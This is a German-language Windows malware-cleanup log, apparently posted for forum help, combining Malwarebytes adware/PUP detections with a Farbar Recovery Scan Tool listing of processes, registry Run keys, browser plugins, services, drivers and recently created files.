PUP.Optional.SpeedingUpMyPC, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\NETCTL\NETCTL.EXE, L鰏chen bei Neustart, [906], [389100],1.0.2089
PUP.Optional.LuckySearch123, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\USER.JS, L鰏chen bei Neustart, [2767], [360048],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Elex, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES\ATETIS.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2089
Adware.Amonetize, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\ROAMING\THEOBALD.DLL, L鰏chen bei Neustart, [1090], [394470],1.0.2089
PUP.Optional.Geniv, C:\WINDOWS\SYSWOW64\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\PROGRAMS\GEN\URL.TXT, L鰏chen bei Neustart, [2006], [386985],1.0.2089
PUP.Optional.Geniv, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Programs\GEN\custom1.txt, L鰏chen bei Neustart, [2006], [386985],1.0.2089
PUP.Optional.Geniv, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Programs\GEN\GEN.exe, L鰏chen bei Neustart, [2006], [386985],1.0.2089
PUP.Optional.Geniv, C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Programs\GEN\version.txt, L鰏chen bei Neustart, [2006], [386985],1.0.2089
PUP.Optional.eShopComp, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\https_pstatic.eshopcomp.com_0.localstorage, L鰏chen bei Neustart, [15584], [255829],1.0.2089
PUP.Optional.eShopComp, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\https_pstatic.eshopcomp.com_0.localstorage-journal, L鰏chen bei Neustart, [15584], [255829],1.0.2089
PUP.Optional.eShopComp, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CHROMIUM\USER DATA\DEFAULT\LOCAL STORAGE\https_pstatic.eshopcomp.com_0.localstorage, L鰏chen bei Neustart, [15584], [256007],1.0.2089
PUP.Optional.eShopComp, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CHROMIUM\USER DATA\DEFAULT\LOCAL STORAGE\https_pstatic.eshopcomp.com_0.localstorage-journal, L鰏chen bei Neustart, [15584], [256007],1.0.2089
PUP.Optional.CrossRider, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CHROMIUM\USER DATA\DEFAULT\LOCAL STORAGE\https_d19tqk5t6qcjac.cloudfront.net_0.localstorage, L鰏chen bei Neustart, [240], [256626],1.0.2089
PUP.Optional.CrossRider, C:\USERS\NICK SCHUSTER\APPDATA\LOCAL\CHROMIUM\USER DATA\DEFAULT\LOCAL STORAGE\https_d19tqk5t6qcjac.cloudfront.net_0.localstorage-journal, L鰏chen bei Neustart, [240], [256626],1.0.2089
PUP.Optional.StartPage.ShrtCln, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\SEARCHPLUGINS\startpageing123.xml, L鰏chen bei Neustart, [1907], [373841],1.0.2089
PUP.Optional.MindSpark, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\http_inboxace.dl.myway.com_0.localstorage, L鰏chen bei Neustart, [274], [240305],1.0.2089
PUP.Optional.MindSpark, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\http_inboxace.dl.myway.com_0.localstorage-journal, L鰏chen bei Neustart, [274], [240305],1.0.2089
PUP.Optional.MindSpark, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\http_inboxace.dl.tb.ask.com_0.localstorage, L鰏chen bei Neustart, [274], [240306],1.0.2089
PUP.Optional.MindSpark, C:\WINDOWS\SYSTEM32\CONFIG\SYSTEMPROFILE\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\LOCAL STORAGE\http_inboxace.dl.tb.ask.com_0.localstorage-journal, L鰏chen bei Neustart, [274], [240306],1.0.2089
PUP.Optional.MyLucky123.ShrtCln, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\SEARCHPLUGINS\LUCK.XML, L鰏chen bei Neustart, [1190], [346224],1.0.2089
PUP.Optional.Trotux, C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\5F8D7LLM.DEFAULT\SEARCHPLUGINS\6DDY6FJK.XML, L鰏chen bei Neustart, [338], [302745],1.0.2089

Physischer Sektor: 0
(keine b鰏artigen Elemente erkannt)


(end)

FRST Logfile:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 02-06-2017
durchgef黨rt von Nick Schuster (Administrator) auf RAZERLAP (05-06-2017 17:01:51)
Gestartet von C:\Users\Nick Schuster\Desktop\killer.exe
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Platform: Windows 8.1 (Update) (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: IE)
Start-Modus: Normal
Anleitung f黵 Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
() C:\Program Files (x86)\Canon\IJPLM\ijplmsvc.exe
(DEVGURU Co., LTD.) C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [AirServer64] => C:\Program Files\App Dynamic\AirServer\AirServer.exe
HKLM\...\Run: [AdobeAAMUpdater-1.0] => "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [3146704 2017-05-09] (Malwarebytes)
HKLM-x32\...\Run: [BlueStacks Agent] => C:\Program Files (x86)\BlueStacks\HD-Agent.exe
HKLM-x32\...\Run: [Dropbox] => "C:\Program Files (x86)\Dropbox\Client\Dropbox.exe" /systemstartup
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX\CNMNSST.exe [235624 2015-01-09] (CANON INC.)
HKLM-x32\...\Run: [CanonQuickMenu] => C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE [1314432 2016-06-09] (CANON INC.)
HKLM\ DisallowedCertificates: FFFA650F2CB2ABC0D80527B524DD3F9FC172C138 (Doctor Web Ltd.) <==== ACHTUNG
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEGAsync.lnk [2017-06-05]

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zur點kgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.192.1
Tcpip\..\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8718928D-CBEB-45EA-A621-800A9249001D}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [DhcpNameServer] 192.168.192.1
Tcpip\..\Interfaces\{bbed3e08-0b41-11e3-8249-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{D14F6D89-FA6F-4917-80C9-3F09BF6A6D5D}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [NameServer] 8.8.8.8
ManualProxies:

Internet Explorer:
==================
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.google.de/?hl=de&gl=de
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =
BHO: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
Toolbar: HKLM - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
Toolbar: HKLM-x32 - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab

FireFox:
========
FF DefaultProfile: ajsmomju.default
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default [2017-06-05]
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_25_0_0_171.dll [2017-05-09] ()
FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [Keine Datei]
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_25_0_0_171.dll [2017-05-09] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll [Keine Datei]
FF Plugin HKU\S-1-5-21-3847841184-804715454-2304624315-1001: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\npuplaypc.dll [Keine Datei]

Chrome:
=======
CHR Profile: C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard [2017-06-05] <==== ACHTUNG
CHR Extension: (Docs) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\aohghmighlieiainnegkcijnfilokake [2017-05-30]
CHR Extension: (Google Drive) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\apdfllckaahabafndbhieahigkjlhalf [2017-05-30]
CHR Extension: (YouTube) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2017-05-30]
CHR Extension: (Google Mail) - C:\Users\Nick Schuster\AppData\Local\Google\Chrome\User Data\Backup-Standard\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2017-05-30]

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
S4 DbxSvc; C:\Windows\system32\DbxSvc.exe [42096 2016-12-21] (Dropbox, Inc.)
R2 igfxCUIService2.0.0.0; C:\Windows\system32\igfxCUIService.exe [365048 2016-10-07] (Intel Corporation)
R2 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [387144 2016-02-04] ()
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4470736 2017-05-09] (Malwarebytes)
R2 ss_conn_service; C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe [754784 2016-07-22] (DEVGURU Co., LTD.)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10888944 2017-04-25] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-01-12] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-01-12] (Microsoft Corporation)
S4 KingoSoftService; C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\KingoSoftService.exe "C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\checkupdate.exe"

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 DFX11_1; C:\Windows\system32\drivers\dfx11_1x64.sys [28008 2015-08-31] (Windows (R) Win 7 DDK provider)
S3 DFX12; C:\Windows\system32\drivers\dfx12x64.sys [29688 2015-11-12] (Windows (R) Win 7 DDK provider)
S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 dtlitescsibus; C:\Windows\System32\drivers\dtlitescsibus.sys [30264 2017-05-07] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\drivers\dtliteusbbus.sys [47672 2017-05-07] (Disc Soft Ltd)
S3 dtproscsibus; C:\Windows\System32\drivers\dtproscsibus.sys [30264 2017-05-25] (Disc Soft Ltd)
R1 ESProtectionDriver; C:\Windows\system32\drivers\mbae64.sys [77376 2017-05-31] ()
R3 iaLPSS_GPIO; C:\Windows\System32\drivers\iaLPSS_GPIO.sys [35832 2014-06-03] (Intel Corporation)
R2 MBAMChameleon; C:\Windows\system32\drivers\MBAMChameleon.sys [188312 2017-06-05] (Malwarebytes)
R3 MBAMFarflt; C:\Windows\system32\drivers\farflt.sys [113592 2017-06-05] (Malwarebytes)
R3 MBAMProtection; C:\Windows\system32\drivers\mbam.sys [44960 2017-06-05] (Malwarebytes)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [252832 2017-06-05] (Malwarebytes)
R3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [93600 2017-06-05] (Malwarebytes)
R3 NETwNb64; C:\Windows\system32\DRIVERS\NETwbw02.sys [3526400 2017-03-09] (Intel Corporation)
S3 RTSUER; C:\Windows\system32\Drivers\RtsUer.sys [425216 2016-05-25] (Realsil Semiconductor Corporation)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-05-07] (Duplex Secure Ltd.)
S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 USBAAPL64; C:\Windows\System32\Drivers\usbaapl64.sys [51712 2011-02-18] (Apple, Inc.) [Datei ist nicht signiert]
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-02-10] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [274776 2017-01-12] (Microsoft Corporation)
R2 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-01-12] (Microsoft Corporation)
S3 dbx; system32\DRIVERS\dbx.sys [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-05 17:00 - 2017-06-05 17:00 - 00013976 _____ C:\Users\Nick Schuster\Desktop\mbam.txt
2017-06-05 15:57 - 2017-06-05 16:58 - 00252832 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2017-06-05 15:57 - 2017-06-05 16:58 - 00113592 _____ (Malwarebytes) C:\Windows\system32\Drivers\farflt.sys
2017-06-05 15:57 - 2017-06-05 16:58 - 00093600 _____ (Malwarebytes) C:\Windows\system32\Drivers\mwac.sys
2017-06-05 15:57 - 2017-06-05 16:58 - 00044960 _____ (Malwarebytes) C:\Windows\system32\Drivers\mbam.sys
2017-06-05 15:57 - 2017-06-05 15:57 - 00188312 _____ (Malwarebytes) C:\Windows\system32\Drivers\MBAMChameleon.sys
2017-06-05 15:57 - 2017-06-05 15:57 - 00001891 _____ C:\Users\Public\Desktop\Malwarebytes.lnk
2017-06-05 15:57 - 2017-06-05 15:57 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes
2017-06-05 15:57 - 2017-06-05 15:57 - 00000000 ____D C:\Program Files\Malwarebytes
2017-06-05 15:57 - 2017-05-31 11:09 - 00077376 _____ C:\Windows\system32\Drivers\mbae64.sys
2017-06-05 15:54 - 2017-06-05 15:54 - 00034459 _____ C:\Users\Nick Schuster\Desktop\AdwCleaner[C0].txt
2017-06-05 15:48 - 2017-06-05 15:51 - 00000000 ____D C:\AdwCleaner
2017-06-05 15:46 - 2017-06-05 15:46 - 04110280 _____ C:\Users\Nick Schuster\Desktop\adwcleaner_6.047.exe
2017-06-05 15:43 - 2017-06-05 15:37 - 00109339 _____ C:\Users\Nick Schuster\Desktop\Fixlog.txt
2017-06-05 15:40 - 2017-06-05 15:40 - 00000008 __RSH C:\ProgramData\ntuser.pol
2017-06-05 15:30 - 2017-06-05 17:01 - 00000000 ____D C:\Users\Nick Schuster\Desktop\killer.exe
2017-06-03 18:29 - 2017-06-03 18:29 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Wargaming.net
2017-06-03 17:56 - 2017-06-03 19:08 - 00000000 ____D C:\Games
2017-06-03 14:01 - 2017-06-05 17:01 - 00000000 ____D C:\FRST
2017-05-30 19:32 - 2017-05-30 19:32 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Google
2017-05-30 19:23 - 2017-05-31 13:53 - 00002020 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 19:23 - 2017-05-30 19:23 - 00000000 ____D C:\Program Files\Mozilla Firefox
2017-05-26 18:05 - 2017-05-26 18:05 - 00000000 ____D C:\ProgramData\Electronic Arts
2017-05-26 17:40 - 2017-05-26 17:40 - 00000295 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Papierkorb.lnk
2017-05-25 15:34 - 2017-05-25 15:36 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Pro
2017-05-25 15:34 - 2017-05-25 15:34 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtproscsibus.sys
2017-05-25 15:33 - 2017-05-25 15:33 - 00000000 ____D C:\ProgramData\DAEMON Tools Pro
2017-05-23 15:44 - 2017-04-27 15:11 - 00678592 _____ (Microsoft Corporation) C:\Windows\system32\msvcp120_clr0400.dll
2017-05-23 15:44 - 2017-04-27 15:10 - 00536768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcp120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:11 - 00869568 _____ (Microsoft Corporation) C:\Windows\system32\msvcr120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:10 - 00875712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr120_clr0400.dll
2017-05-23 15:42 - 2017-04-06 19:37 - 00445440 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-05-23 15:42 - 2017-04-06 19:16 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\wpd_ci.dll
2017-05-23 15:42 - 2017-04-06 18:50 - 01436672 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00434688 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-05-23 15:42 - 2017-04-06 18:35 - 01362432 _____ (Microsoft Corporation) C:\Windows\system32\gpsvc.dll
2017-05-23 15:42 - 2017-04-06 18:15 - 00358912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-05-23 15:42 - 2017-04-06 17:44 - 00087040 _____ (Microsoft Corporation) C:\Windows\system32\wpdbusenum.dll
2017-05-23 15:42 - 2017-04-02 16:49 - 00186880 _____ (Microsoft Corporation) C:\Windows\system32\dpapisrv.dll
2017-05-23 15:42 - 2017-04-02 15:40 - 02013016 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ntfs.sys
2017-05-22 21:24 - 2017-05-22 21:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2017-05-18 22:17 - 2017-05-18 22:17 - 01499368 _____ (Microsoft Corporation) C:\Windows\system32\WdfCoInstaller01007.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00716880 _____ (Microsoft Corporation) C:\Windows\system32\WinUSBCoInstaller.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00166288 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudmdm.sys
2017-05-18 22:17 - 2017-05-18 22:17 - 00131984 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudbus.sys
2017-05-11 14:18 - 2017-04-28 23:15 - 07444824 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-05-11 14:18 - 2017-04-26 16:06 - 04169216 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-05-11 14:18 - 2017-04-16 12:23 - 02176584 _____ (Microsoft Corporation) C:\Windows\system32\combase.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01662096 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01063464 _____ (Microsoft Corporation) C:\Windows\system32\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 01135288 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 00803192 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01566032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\combase.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01213792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 00548032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 11:05 - 00612096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 10:51 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-05-11 14:18 - 2017-04-16 10:37 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-05-11 14:18 - 2017-04-16 10:36 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-05-11 14:18 - 2017-04-16 10:35 - 25741312 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
